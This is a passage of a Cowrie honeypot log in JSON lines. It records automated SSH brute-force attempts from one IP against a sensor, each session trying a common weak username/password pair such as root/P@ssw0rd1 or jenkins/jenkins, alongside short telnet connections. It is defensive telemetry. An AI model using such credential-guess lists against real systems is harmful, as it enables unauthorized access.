{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:59.617636Z","src_ip":"176.65.132.129","session":"2c6fd676fb67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45490,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bbf20aa23a4","protocol":"telnet","message":"New connection: 45.58.127.90:45490 (10.17.0.5:23) [session: 9bbf20aa23a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:00.119344Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:00.702310Z","src_ip":"176.65.132.129","session":"2c6fd676fb67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45228,"dst_ip":"159.203.135.109","dst_port":22,"session":"f97de30f04b2","protocol":"ssh","message":"New connection: 176.65.132.129:45228 (159.203.135.109:22) [session: f97de30f04b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:02.627286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:02.637210Z","src_ip":"176.65.132.129","session":"f97de30f04b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:02.720394Z","src_ip":"176.65.132.129","session":"f97de30f04b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:02.969545Z","src_ip":"176.65.132.129","session":"f97de30f04b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:04.055068Z","src_ip":"176.65.132.129","session":"f97de30f04b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45482,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ea5307cb314","protocol":"telnet","message":"New connection: 45.58.127.90:45482 (10.17.0.5:23) [session: 5ea5307cb314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:05.171798Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45506,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ab04677b8f","protocol":"telnet","message":"New connection: 45.58.127.90:45506 (10.17.0.5:23) [session: 94ab04677b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:05.628656Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53430,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c67ad3a409","protocol":"ssh","message":"New connection: 176.65.132.129:53430 (159.203.135.109:22) [session: 23c67ad3a409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:06.025679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:06.030357Z","src_ip":"176.65.132.129","session":"23c67ad3a409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:06.112711Z","src_ip":"176.65.132.129","session":"23c67ad3a409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:06.358439Z","src_ip":"176.65.132.129","session":"23c67ad3a409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5433897972106934,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:06.715063Z","src_ip":"45.58.127.90","session":"5ea5307cb314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:07.449934Z","src_ip":"176.65.132.129","session":"23c67ad3a409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53434,"dst_ip":"159.203.135.109","dst_port":22,"session":"695207b8f1e1","protocol":"ssh","message":"New connection: 176.65.132.129:53434 (159.203.135.109:22) [session: 695207b8f1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:09.497907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:09.503345Z","src_ip":"176.65.132.129","session":"695207b8f1e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:09.585905Z","src_ip":"176.65.132.129","session":"695207b8f1e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:09.832051Z","src_ip":"176.65.132.129","session":"695207b8f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:10.918518Z","src_ip":"176.65.132.129","session":"695207b8f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53444,"dst_ip":"159.203.135.109","dst_port":22,"session":"15fa08a70b7e","protocol":"ssh","message":"New connection: 176.65.132.129:53444 (159.203.135.109:22) [session: 15fa08a70b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:12.872510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:12.877454Z","src_ip":"176.65.132.129","session":"15fa08a70b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:12.959504Z","src_ip":"176.65.132.129","session":"15fa08a70b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:13.209841Z","src_ip":"176.65.132.129","session":"15fa08a70b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:14.294189Z","src_ip":"176.65.132.129","session":"15fa08a70b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60946,"dst_ip":"10.17.0.5","dst_port":23,"session":"497cb9469ae9","protocol":"telnet","message":"New connection: 45.58.127.90:60946 (10.17.0.5:23) [session: 497cb9469ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:14.453347Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54450,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e4dbe4d7dba","protocol":"ssh","message":"New connection: 176.65.132.129:54450 (159.203.135.109:22) [session: 4e4dbe4d7dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:16.198707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:16.204067Z","src_ip":"176.65.132.129","session":"4e4dbe4d7dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:16.286622Z","src_ip":"176.65.132.129","session":"4e4dbe4d7dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:16.541271Z","src_ip":"176.65.132.129","session":"4e4dbe4d7dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:17.626462Z","src_ip":"176.65.132.129","session":"4e4dbe4d7dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54462,"dst_ip":"159.203.135.109","dst_port":22,"session":"6894754c662d","protocol":"ssh","message":"New connection: 176.65.132.129:54462 (159.203.135.109:22) [session: 6894754c662d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:19.579107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:19.585650Z","src_ip":"176.65.132.129","session":"6894754c662d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:19.672079Z","src_ip":"176.65.132.129","session":"6894754c662d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:19.919030Z","src_ip":"176.65.132.129","session":"6894754c662d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:21.004009Z","src_ip":"176.65.132.129","session":"6894754c662d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54472,"dst_ip":"159.203.135.109","dst_port":22,"session":"f207ae0d14e5","protocol":"ssh","message":"New connection: 176.65.132.129:54472 (159.203.135.109:22) [session: f207ae0d14e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:22.914824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:22.918417Z","src_ip":"176.65.132.129","session":"f207ae0d14e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:22.999559Z","src_ip":"176.65.132.129","session":"f207ae0d14e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:23.250453Z","src_ip":"176.65.132.129","session":"f207ae0d14e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:24.412647Z","src_ip":"176.65.132.129","session":"f207ae0d14e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44182,"dst_ip":"159.203.135.109","dst_port":22,"session":"b96b7e922466","protocol":"ssh","message":"New connection: 176.65.132.129:44182 (159.203.135.109:22) [session: b96b7e922466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:26.228532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:26.233364Z","src_ip":"176.65.132.129","session":"b96b7e922466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 